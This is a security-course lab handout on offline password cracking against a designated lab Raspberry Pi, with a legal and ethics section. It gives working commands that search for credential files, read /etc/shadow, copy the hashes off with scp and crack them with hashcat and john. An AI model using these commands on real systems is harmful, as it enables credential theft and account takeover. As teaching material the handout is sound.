Offline Attacks Lab

Hash Extraction, hashcat, and john

2026-04-29

Table of contents

1 Gaining Access and Finding Files **2**
- 1.1 Finding Files with find . . . 2
- 1.2 Trophy: Find and Download a Sensitive File . . . 3
- 1.3 Escalating to root . . . 4
- 1.4 Extracting the Hash with grep . . . 4

2 Understanding the Shadow File Format **5**
- 2.1 Anatomy of the Hash Field . . . 5

3 Cracking with hashcat **6**
- 3.1 Installation . . . 6
- 3.2 Preparing the Hash File . . . 6
- 3.3 hashcat Attack Modes . . . 6
- 3.4 Common hashcat Hash Modes . . . 7
- 3.5 Running a Dictionary Attack . . . 8
- 3.6 Going Further: Rule-Based Attacks . . . 8

4 Cracking with john **9**
- 4.1 Installation . . . 9
- 4.2 Preparing the File with unshadow . . . 9
- 4.3 Running a Dictionary Attack . . . 10
- 4.4 Displaying Cracked Passwords . . . 10
- 4.5 hashcat vs john . . . 10

5 Cracking All Users **10**
- 5.1 Extract All Four Hashes . . . 11
- 5.2 Prepare for hashcat . . . 11
- 5.3 Round 1 – Dictionary Attack on All Hashes . . . 11
- 5.4 Round 2 – Rule-Based Attack for bob . . . 12
- 5.5 Repeat with john . . . 12

6 Legal and Ethical Considerations **13**
- 6.1 Clearly Legal . . . 13

6.2 Clearly Illegal 14
6.3 The Grey Areas 14
6.4 The Professional Standard 15
6.5 Discussion 15

7 Appendix: Matching Cracked Hashes to Users 15
7.1 The Program 15
7.2 Building and Running 17

In Lab 1 you used hydra to crack `labuser`'s password by hammering the SSH service directly over the network. This is an **online** attack – it requires the target to be reachable and generates a lot of noisy, detectable traffic.

Real attackers often cannot, or prefer not to, work this way. A more powerful approach is to obtain the **password hash** – the stored, encrypted form of the password – and crack it locally on your own machine with no further contact with the target. This is an **offline** attack. It is silent, limited only by your hardware, and can be run at leisure.

This lab covers how to locate and extract the hash, understand its structure, and crack it using two different tools: **hashcat** and **john**.

1 Gaining Access and Finding Files

At the end of Lab 1 you had a shell on the Pi as `labuser`. Reconnect if your session has timed out:

```
ssh labuser@10.7.7.200    # password from Lab 1
```

An attacker who lands even an unprivileged foothold immediately looks around for two things: files worth stealing that this account can already read, and a route to escalate privileges. You will do both – starting as `labuser`, with no special rights, and only later escalating to root to reach the password hashes.

1.1 Finding Files with find

`find` becomes indispensable once you have access to an unfamiliar system and need to locate specific files. It searches the filesystem recursively from a starting point:

```
find <where to search> <what to look for>
```

For example, search the whole filesystem for any file named `shadow` (the password-hash file you will return to shortly):

```
find / -name "shadow" 2>/dev/null
```

The `2>/dev/null` suppresses permission-denied messages for directories your account cannot read. You should still see `/etc/shadow` in the results – you have found *where* it is, even though as `labuser` you cannot read it yet.

You can narrow the search in many ways. Some useful flags:

Flag	Example	Meaning
`-name`	`-name "shadow"`	Match exact filename
`-name`	`-name "*.conf"`	Match by wildcard
`-type f`	`-type f`	Files only (not directories)
`-type d`	`-type d`	Directories only
`-user`	`-user labuser`	Files owned by a specific user
`-perm`	`-perm /4000`	Files with the SUID bit set

For example, to find all configuration files under `/etc`:

```
find /etc -name "*.conf" -type f 2>/dev/null
```

Or to find files owned by `labuser`:

```
find / -user labuser -type f 2>/dev/null
```

> **Tip**
>
> `find / -perm /4000` is a classic post-exploitation command – it locates every SUID binary on the system. SUID files run with the file owner's privileges regardless of who executes them, and misconfigured SUID binaries are a common privilege escalation path.

1.2 Trophy: Find and Download a Sensitive File

Before escalating, hunt through `labuser`'s own home directory – a very common place to find secrets left in plaintext. List the files there:

```
find /home/labuser -type f 2>/dev/null
```

You can also search file *contents* across a directory tree with a recursive grep, looking for tell-tale keywords:

```
grep -rniE "password|secret|confidential|key" /home/labuser 2>/dev/null
```

Either approach points you at a file such as `/home/labuser/notes/credentials.txt`. Read it:

```
cat /home/labuser/notes/credentials.txt
```

Then download it to your own machine. Note you need **no root access** for this – `labuser` owns the file:

```
# Run this on YOUR machine, not the Pi
scp labuser@10.7.7.200:/home/labuser/notes/credentials.txt .
```

> **Note**
>
> You exfiltrated this with nothing more than the low-privilege `labuser` foothold from Lab 1. Secrets stored in plaintext in a home directory are exposed the instant a single account is compromised – which is exactly why credentials belong in a protected secrets store, not a text file.

1.3 Escalating to root

To read the password hashes you now need **root**. `labuser` has sudo rights on this Pi, so escalate:

```
sudo -i
```

You should now have a root shell:

```
root@raspberrypi:~#
```

1.4 Extracting the Hash with grep

Once you know the shadow file is at `/etc/shadow`, read the entire file:

```
cat /etc/shadow
```

The output will have one line per user. Most will be system accounts with a `*` or `!` in the password field (meaning no valid password is set). Find `labuser`'s entry with `grep`:

```
grep "labuser" /etc/shadow
```

You will see something like:

```
labuser:$6$rT5Kv1oZ$Xe8...long hash.../:19900:0:99999:7:::
```

Save just the hash line to a file on your **own machine** (not the Pi) for cracking. The easiest way is to copy and paste it, or use `scp` from your machine:

```
# Run this on YOUR machine, not the Pi
scp labuser@10.7.7.200:/etc/shadow ./shadow_copy.txt
# Or just copy-paste the labuser line into a new file:
echo 'labuser:$6$rT5Kv1oZ$Xe8...' > shadow_copy.txt
```

2 Understanding the Shadow File Format

Before cracking anything it is worth understanding exactly what you are looking at. A shadow file entry has nine colon-separated fields:

```
labuser : $6$rT5Kv1oZ$Xe8... : 19900 : 0 : 99999 : 7 : : : :
   1           2                  3     4     5     6   7  8  9
```

Field	Content	Meaning
1	`labuser`	Username
2	`$6$rT5Kv1oZ$Xe8...`	Password hash (see below)
3	`19900`	Days since epoch when password was last changed
4	`0`	Minimum days before password can be changed
5	`99999`	Maximum days before password must be changed
6	`7`	Days of warning before expiry
7		Days after expiry before account is disabled (empty = never)
8		Account expiry date (empty = never)
9		Reserved

2.1 Anatomy of the Hash Field

The password hash field (field 2) is itself structured:

```
$6 $ rT5Kv1oZ $ Xe8vQ2...long string...
 |       |              |
 |       |              +-- the actual hash
 |       +---------------- the salt
 +------------------------ the algorithm ID
```

Algorithm ID	Algorithm	hashcat Mode
`$1$`	MD5-crypt	500
`$5$`	SHA-256-crypt	7400
`$6$`	SHA-512-crypt	1800
`$y$`	yescrypt	400
`$2y$` or `$2b$`	bcrypt	3200

The **salt** is a random string added to the password before hashing. Two users with the same password will have completely different hashes because their salts differ. This prevents an attacker from pre-computing a table of all possible hashes (a **rainbow table**) and looking up the result directly.

> **Note**
>
> The `$6$` prefix tells you immediately which hashcat mode to use. This is the single most important thing to identify before running any cracking tool. When you encounter an unknown hash, look at the prefix – or use a tool like `hashid` or `hash-identifier` to help determine the type.

3 Cracking with hashcat

hashcat is the fastest widely-available password cracker. It can use your GPU for massively parallel cracking – modern graphics cards can test billions of password candidates per second against weaker hash types.

3.1 Installation

```
sudo apt install hashcat -y
```

3.2 Preparing the Hash File

hashcat expects the raw hash, not the full shadow line. Extract just the hash field (the second colon-separated field) and save it:

```
# The hash is everything between the first and second colon after the username
# Copy just the $6$salt$hash portion:
echo '$6$rT5Kv1oZ$Xe8...' > hash.txt
```

Verify the file contains only the hash and nothing else:

```
cat hash.txt
```

3.3 hashcat Attack Modes

Before running a crack, it helps to understand hashcat's attack modes:

Mode (`-a`)	Name	Description
`0`	Dictionary	Try every word in a wordlist
`1`	Combination	Combine words from two wordlists
`3`	Brute-force	Try every combination of characters up to a length
`6`	Hybrid wordlist + mask	Wordlist words with appended patterns
`7`	Hybrid mask + wordlist	Patterns with appended wordlist words

For cracking Linux shadow hashes with a wordlist, mode `0` is the right starting point.

3.4 Common hashcat Hash Modes

The `-m` flag tells hashcat what type of hash it is dealing with. Here are the most commonly encountered types:

Mode (`-m`)	Hash Type	Where you find it
`0`	MD5 (raw)	Old web apps, legacy databases
`100`	SHA-1 (raw)	Git commits, older web apps
`1000`	NTLM	Windows password hashes
`1800`	sha512crypt `$6$`	Modern Linux `/etc/shadow`
`400`	yescrypt `$y$`	Newer Linux `/etc/shadow`
`500`	md5crypt `$1$`	Older Linux `/etc/shadow`
`3200`	bcrypt `$2*$`	Modern web app password storage
`5600`	NetNTLMv2	Windows network authentication
`7400`	sha256crypt `$5$`	Some Linux systems

Tip

How to identify a hash type you don't recognise:

1. Look at the prefix – `$6$`, `$2b$`, etc. are reliable identifiers.
2. Check the length – raw MD5 is always 32 hex characters, SHA-1 is 40, SHA-256 is 64.
3. Use `hashid` or `hash-identifier`:

```
sudo apt install hashid -y
hashid '$6$rT5Kv1oZ$Xe8...'
```

3.5 Running a Dictionary Attack

```
sudo hashcat -a 0 -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
```

Flag breakdown:

Flag	Meaning
`-a 0`	Dictionary attack mode
`-m 1800`	Hash type: sha512crypt (Linux `$6$`)
`hash.txt`	File containing the hash to crack
`rockyou.txt`	The password wordlist

Watch the status output. hashcat will report its speed (hashes per second) and its progress through the wordlist. When it finds a match:

```
$6$rT5Kv1oZ$Xe8...:sunshine1
```

The cracked password appears after the colon.

3.6 Going Further: Rule-Based Attacks

A pure dictionary attack only tries words exactly as they appear in the wordlist. Many users slightly modify a dictionary word – capitalising the first letter, appending a number, substituting `@` for `a`. **Rules** apply these transformations automatically to every word in the wordlist, greatly expanding coverage without needing a larger wordlist.

hashcat ships with several pre-built rule files:

```
ls /usr/share/hashcat/rules/
```

The `best64.rule` file applies 64 of the most common real-world password mutations:

```
sudo hashcat -a 0 -m 1800 -r /usr/share/hashcat/rules/best64.rule \
    hash.txt /usr/share/wordlists/rockyou.txt
```

> **Note**
>
> hashcat caches cracked passwords in a **potfile**. Since hashcat 6 this lives at `~/.local/share/hashcat/hashcat.potfile` (older versions, and systems with a leftover `~/.hashcat/` directory, use `~/.hashcat/hashcat.potfile`). If you try to crack a hash you have already cracked, hashcat will say `All hashes found in potfile` and skip it. Use `--show` to display cached results:

```
hashcat -m 1800 hash.txt --show
```

Or clear the potfile if you want to crack from scratch:

```
hashcat --potfile-disable -a 0 -m 1800 hash.txt rockyou.txt
```

4 Cracking with john

John the Ripper (usually just called `john`) is the other major password-cracking tool. Where hashcat is optimised for raw speed using GPU acceleration, john is more beginner-friendly, has automatic hash type detection, and handles the full shadow file format directly via a companion tool called `unshadow`.

4.1 Installation

```
sudo apt install john -y
```

4.2 Preparing the File with unshadow

john is designed to work with the `/etc/passwd` and `/etc/shadow` files together. The `unshadow` utility merges them into a single file in the format john expects:

```
unshadow /etc/passwd /etc/shadow > unshadowed.txt
```

If you are working from a copy rather than directly on the Pi, pass the copies instead:

```
unshadow passwd_copy.txt shadow_copy.txt > unshadowed.txt
```

Have a look at the result:

```
cat unshadowed.txt
```

You will see lines like:

```
labuser:$6$rT5Kv1oZ$Xe8...:1001:1001:,,,:/home/labuser:/bin/bash
```

The hash is now embedded in a format john understands directly.

4.3 Running a Dictionary Attack

```
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
```

john will auto-detect the hash type from the `$6$` prefix and begin cracking. Its output looks like:

```
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
sunshine1        (labuser)
```

4.4 Displaying Cracked Passwords

Once john has cracked a password it stores it in its own session file. Retrieve cracked passwords at any time with:

```
john --show unshadowed.txt
```

Output:

```
labuser:sunshine1:1001:1001:,,,:/home/labuser:/bin/bash

1 password hash cracked, 0 left
```

4.5 hashcat vs john

Having used both tools, here is a practical comparison:

	hashcat	john
Speed	Faster (GPU-accelerated)	Slower (CPU by default)
Hash detection	Manual (`-m` flag required)	Automatic from hash prefix
Shadow file	Needs hash extracted manually	Works via `unshadow` directly
Rules	Extensive built-in rule sets	Good built-in rules (`--rules`)
Best for	Raw cracking speed, GPU rigs	Ease of use, quick testing

For the hashes you will encounter in challenges, either tool will work. hashcat is the industry standard for speed; john is often faster to get started with when you do not know the hash type.

5 Cracking All Users

So far you have cracked `labuser`'s hash – but the shadow file contains entries for three other accounts: `alice`, `bob`, and `carol`. Each one requires a slightly different approach, giving you a chance to apply everything covered in this lab.

5.1 Extract All Four Hashes

First, pull all four relevant entries from the shadow file and save them to a single file. On the Pi as root:

```
grep -E "^labuser:|^alice:|^bob:|^carol:" /etc/shadow > all_hashes.txt
```

Copy this file back to your own machine:

```
# Run on YOUR machine
scp labuser@10.7.7.200:/root/all_hashes.txt .
```

Inspect what you have:

```
cat all_hashes.txt
```

You should see four lines, one per user, each with a `$6$` hash.

5.2 Prepare for hashcat

hashcat works on raw hashes rather than full shadow lines. Extract just the hash fields into a second file:

```
cut -d: -f2 all_hashes.txt > hashes_only.txt
cat hashes_only.txt   # should show four $6$... strings, one per line
```

5.3 Round 1 – Dictionary Attack on All Hashes

Run a single dictionary attack against all four hashes at once. hashcat handles multiple hashes in one file automatically:

```
sudo hashcat -a 0 -m 1800 hashes_only.txt /usr/share/wordlists/rockyou.txt
```

Watch the output. You should see `alice`, `labuser`, and `carol` crack relatively quickly. `bob`'s hash will likely remain uncracked – his password does not appear in rockyou verbatim.

Check what has been cracked so far:

```
sudo hashcat -m 1800 hashes_only.txt --show
```

> **Note**
>
> hashcat prints the cracked result as `hash:password`. To identify *which user* a hash belongs to, compare the hash string against the entries in `all_hashes.txt`. The Rust program in the appendix at the end of this lab automates exactly this matching step.

5.4 Round 2 – Rule-Based Attack for bob

`bob`'s password is an ordinary dictionary word with a letter-to-number substitution (`o` replaced by `0`) – exactly the kind of mutation `best64.rule` applies automatically to every word in the list. Run the rule-based attack against only the remaining uncracked hash:

```
sudo hashcat -a 0 -m 1800 -r /usr/share/hashcat/rules/best64.rule \
    hashes_only.txt /usr/share/wordlists/rockyou.txt
```

> **Tip**
>
> If you want to target only `bob`'s hash rather than re-running across all four, extract just his line first:
>
> ```
> grep "^bob:" all_hashes.txt | cut -d: -f2 > bob_hash.txt
> sudo hashcat -a 0 -m 1800 -r /usr/share/hashcat/rules/best64.rule \
>     bob_hash.txt /usr/share/wordlists/rockyou.txt
> ```

Once cracked, run `--show` again to confirm all four passwords are now recovered:

```
sudo hashcat -m 1800 hashes_only.txt --show
```

5.5 Repeat with john

Prepare the unshadowed file for all four users and run john against it:

```
# On the Pi as root -- grab both passwd and shadow entries for our users
grep -E "^labuser:|^alice:|^bob:|^carol:" /etc/passwd > lab_passwd.txt
grep -E "^labuser:|^alice:|^bob:|^carol:" /etc/shadow > lab_shadow.txt

# Copy both files back to your machine, then:
unshadow lab_passwd.txt lab_shadow.txt > unshadowed_all.txt
```

Dictionary attack first:

```
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed_all.txt
```

Then apply rules to catch `bob`:

```
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 \
    unshadowed_all.txt
```

Display all cracked passwords:

```
john --show unshadowed_all.txt
```

You should see all four users listed with their recovered passwords.

> **i** Something to think about
>
> `bob` disguised a dictionary word with a leetspeak substitution (`cobra` -> `c0bra`) – the kind of trick that feels clever and is easy to remember. Yet it fell the moment a rule set was applied, because swapping digits for look-alike letters is one of the very first transformations a rule like `best64` tries. A plain dictionary attack missed it; adding a single rule file caught it in seconds. This is why security guidelines have moved away from "complexity rules" (must contain uppercase, number, symbol) toward **length and randomness**. A short, cleverly-mangled word is far weaker than a long random passphrase against a rule-aware offline attack.

6 Legal and Ethical Considerations

You have now used tools that can discover networked systems, attack live services, and crack stored credentials. Before these labs, these were abstract concepts. They are no longer. This section is about where the legal and ethical lines sit – and, more importantly, where they are genuinely unclear.

6.1 Clearly Legal

Using these tools on infrastructure you own and control. Everything done in these two labs falls here. The LAN is isolated, the Pi was set up for this purpose, and you had explicit authorisation. This is the correct model for any legitimate security testing.

Defensive use on your own systems. Running nmap against your own servers to find what an attacker would see, or running hashcat against your own shadow file to identify weak passwords before an attacker does, is entirely legal and professionally encouraged.

Authorised penetration testing. A signed contract or written statement of work from a system owner transforms these same actions from crimes into legitimate professional work. The document is everything – it defines the scope, the timeframe, and the methods permitted. Without it, there is no protection.

CTF competitions. Capture the Flag events are explicitly scoped sandboxes. Everything within the declared scope is fair game by design.

6.2 Clearly Illegal

Running any of these tools against systems you do not own and have not been explicitly authorised to test. This is the Computer Fraud and Abuse Act (CFAA) in the US, the Computer Misuse Act (CMA) in the UK, and equivalent legislation in virtually every other jurisdiction. The dividing line is authorisation – not whether you cause damage, not whether you succeed, not whether anyone notices.

Cracking hashes obtained without authorisation. Possessing and cracking a shadow file you did not have permission to access is a separate offence from the original breach. The offline nature of the attack does not make it victimless.

Using these tools on university infrastructure without written approval. Being a student on a network does not grant you the right to scan or probe it. Most universities' acceptable use policies explicitly prohibit unauthorised scanning. The right move is always to ask IT in writing first.

6.3 The Grey Areas

These are the cases where professionals genuinely disagree, and where well-intentioned people have faced prosecution. They are worth taking seriously.

"I own the device but not the network." Running nmap from your laptop on a university or coffee shop WiFi scans infrastructure you do not own. The fact that you own the scanning machine is irrelevant. The traffic touches routers, switches, and other devices you have no authority over.

"The system was publicly accessible." A web server being publicly reachable does not authorise you to probe it for vulnerabilities or attempt to log in. Leaving a door unlocked is not an invitation to enter – this defence has been tested in court and has not held up.

"I found a vulnerability and reported it responsibly." Bug bounty programmes and responsible disclosure frameworks exist to create a legal space for exactly this. Without a published programme or prior written permission, finding and reporting a vulnerability in someone else's system is legally risky even if morally praiseworthy. Some researchers have faced prosecution despite acting in good faith. Check for a programme before touching anything.

"It was just a scan – I didn't do anything." An nmap scan is not passive observation. It sends packets to systems you do not own. Courts in multiple jurisdictions have found that unauthorised scanning alone, without any further exploitation, can constitute an offence under computer misuse laws.

"I cracked the hash – I never actually logged in." The act of cracking a hash obtained without permission is itself an offence, separate from and in addition to whatever access was used to obtain it.

6.4 The Professional Standard

The security industry operates on one principle above all others: **get it in writing**. A penetration tester with a signed statement of work authorising them to test `10.7.7.0/24` between specific dates is completely protected doing things that would otherwise carry a prison sentence. The same person running the same tools one subnet over, or one day later, is not.

This is also why this lab used an isolated LAN with a dedicated victim machine – not just for technical cleanliness, but to model the correct professional behaviour: define your scope, stay inside it, document what you did, and clean up afterwards.

6.5 Discussion

Take a few minutes to discuss the following questions with your group. There are no clean answers to most of them – that is the point.

> **Group Discussion**
>
> 1. You are browsing a website you use regularly and notice that changing a number in the URL exposes another user's personal data. You did not go looking for this – you stumbled across it. What are your obligations? What are your legal risks if you investigate further?
> 2. A company publishes a bug bounty programme covering "all web applications." While testing their login page you discover a vulnerability in their VPN concentrator – a different system entirely. Are you covered by the programme? What should you do?
> 3. Your employer asks you to test a client's network. The client gave verbal approval in a meeting but nothing is in writing yet. Your manager says to go ahead. Do you? What are the risks to you personally if something goes wrong?
> 4. You are a penetration tester on an authorised engagement. While working inside the target network you find evidence that a third party has already compromised the system and is actively exfiltrating data. What are your legal and ethical obligations? Who do you tell, and in what order?

7 Appendix: Matching Cracked Hashes to Users

When you crack several hashes at once, `hashcat --show` reports results as `hash:password` – it has no idea which *user* each hash belongs to. The owning username lives back in `all_hashes.txt` (the shadow lines you pulled off the Pi). The short Rust program below joins the two together and prints a clean `user:password` list.

7.1 The Program

Save this as `match_users.rs`:

```rust
use std::collections::HashMap;
use std::env;
use std::fs;
use std::io::{self, BufRead};
use std::process;

fn main() {
    // The shadow-format file (user:hash:...) is passed as the first argument.
    // hashcat's `--show` output (hash:password) is read from standard input,
    // so this tool drops straight into a pipe:
    //
    //   hashcat -m 1800 hashes_only.txt --show | ./match_users all_hashes.txt
    let shadow_path = env::args().nth(1).unwrap_or_else(|| {
        eprintln!("usage: match_users <all_hashes.txt>   (hashcat --show on
        ↪  stdin)");
        process::exit(1);
    });

    let shadow = fs::read_to_string(&shadow_path).unwrap_or_else(|e| {
        eprintln!("cannot read {shadow_path}: {e}");
        process::exit(1);
    });

    // Map each hash back to the username that owns it. A shadow line is
    // user:hash:..., and the $6$ hash itself never contains a colon.
    let mut owner: HashMap<&str, &str> = HashMap::new();
    for line in shadow.lines() {
        let mut fields = line.splitn(3, ':');
        if let (Some(user), Some(hash)) = (fields.next(), fields.next()) {
            if hash.starts_with('$') {
                owner.insert(hash, user);
            }
        }
    }

    // Each hashcat line is `hash:password`; split on the first colon.
    for line in io::stdin().lock().lines() {
        let line = line.unwrap_or_default();
        let line = line.trim();
        if line.is_empty() {
            continue;
        }
        match line.split_once(':') {
            Some((hash, password)) => match owner.get(hash) {
                Some(user) => println!("{user}:{password}"),
                None => eprintln!("no user matches hash: {hash}"),
            },
```

```
            None => eprintln!("unrecognised line: {line}"),
        }
    }
}
```

7.2 Building and Running

Rust's standard library covers everything here, so no external crates and no `cargo` project are needed – compile the single file directly with `rustc`. If the compiler is not installed:

```
sudo apt install rustc -y     # or install via rustup: https://rustup.rs
```

Compile it:

```
rustc match_users.rs          # produces an executable called ./match_users
```

Then pipe `hashcat --show` straight into it, passing `all_hashes.txt` as the argument:

```
sudo hashcat -m 1800 hashes_only.txt --show | ./match_users all_hashes.txt
```

You should get a tidy, labelled list:

```
labuser:sunshine1
alice:dragon
carol:abc123
bob:c0bra
```

> **Note**
>
> The program matches on the exact hash string, so it works regardless of the order hashcat cracked the passwords in, and it will flag any hash it cannot place rather than guessing. The same approach works for john's output – run `john --show` against the unshadowed file instead, which already prints `user:password` directly, so this helper is mainly useful for hashcat's hash-keyed output.